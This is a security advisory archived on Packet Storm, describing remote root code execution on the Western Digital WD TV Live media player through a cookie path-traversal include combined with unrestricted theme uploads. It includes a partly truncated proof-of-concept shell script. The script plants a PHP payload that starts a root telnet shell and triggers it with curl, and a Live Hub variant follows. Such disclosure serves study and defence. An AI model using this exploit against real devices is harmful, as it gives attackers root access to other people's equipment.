what you don't know can hurt you

Western Digital TV (WD-TV) Live Remote Code Execution

Western Digital TV (WD-TV) Live Remote Code Execution
Posted Jun 25, 2012
Authored by Wolf Bee

The WD TV Live Streaming Media Player suffers from two implementation flaws that together allow for remote command execution as root.

tags | exploit, remote, root
MD5 | 268a44dbddc2d9b6b4f15fc418eed118

Western Digital TV (WD-TV) Live Remote Code Execution

Change Mirror Download
The WD TV Live Streaming Media Player is a consumer device to play
various audio and video formats.
Additionally it allows access to multiple video streaming services like
Netflix, Hulu or Youtube.[1]
The device allows customization of its user interface and limited remote
administration using a web interface.

The LIVE SMP is running a customized Linux kernel and userland.
Parts of the firmware are released under the terms of the GNU General
Public License.
Proprietary binaries are included in encrypted parts of the firmware
which are decrypted during runtime.

1. Affected Versions
The analysed firmware is the latest version (1.07.15 as of 03/2012) as
published on [2], prior versions are vulnerable too.
Large portions of the firmware are shared with the WDTV Live Hub[3] thus
the presented findings are applyable on this device with minor changes
as described later.

2. Attack Vector
The attack vector used to gain root access on the device involves two
implementation flaws as described in the following sections.

2.1. User Input Validation Flaws
The web interface is written using the PHP language.
Several files contain user input validation flaws similar to the one
described here.
Cookie header values in /opt/webserver/htdocs/index.php are not
validated at all.
The provided cookie value is used within an include statement allowing
the attacker to force inclusion of arbitrary files (as long as they are
named home.php).

2.2. Possibility to Upload Arbitrary Files
To allow the customization of the user interface one may upload theme
files (zip archives) through the web interface.
The contents of these archives are not restricted so adding a file named
home.php is possible.

2.3. Limitations
Most of the PHP files of the web interface include security.php which
limits access to the networks IP/subnet mask combination the LIVE SMP is
connected to.
Aformended index.php is guarded by this security measure but uploading
theme file using upload.php is possible from any IP address.

3. Proof of Concept
The following script will spawn a telnet daemon providing access to a
root shell on the device.
(needs zip and curl binaries)


if [ $# != 1 ]; then
echo "Root Exploit for WDTV Live SMP\n\nUsing default
target=${TARGET}\nUSAGE: $0 <target>\n\n"

if [ ! -f "home.php" ]; then
echo '<?php system("telnetd -l /bin/sh");print "\nUnd es hat blub
gemacht.\n\n";exit();' > home.php

if [ ! -f "${THEME_NAME}.zip" ]; then
touch meta.xml
zip ${THEME_NAME} home.php meta.xml

echo "Uploading ${THEME_NAME}.zip:"
curl -F appearance=@${THEME_NAME}.zip -o /dev/null \

echo "\n\nRunning payload:"
curl --cookie "language=../../../../usrdata/.wd_tv/theme/${THEME_NAME}" \

4. Adaption for the Live Hub
As the LIVE HUB does not have the ability to upload themes through the
web interface, one needs to use a different angle to upload the payload:
Using the samba share WDTVLiveHub. Thus the language cookie has to be
adapted as shown here:

curl --cookie "language=../../../../mediaitems/Local/WDTVLiveHub/" \

5. Code, Whitepaper, Example Session, References
Code, whitepaper, example session: http://hammerhead.shark23.de

[1] Western Digital. WD TV Live, .
URL http://wdc.com/en/products/products.aspx?id=330.
[2] Western Digital. Downloads WD TV Live Streaming Media Player (Gen
3), 2012.
[3] Western Digital. WD TV Live Hub, .
URL http://wdc.com/en/products/products.aspx?id=570.

Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    2 Files
  • 13
    Jun 13th
    1 Files
  • 14
    Jun 14th
    32 Files
  • 15
    Jun 15th
    34 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2020 Packet Storm. All rights reserved.

Security Services
Hosting By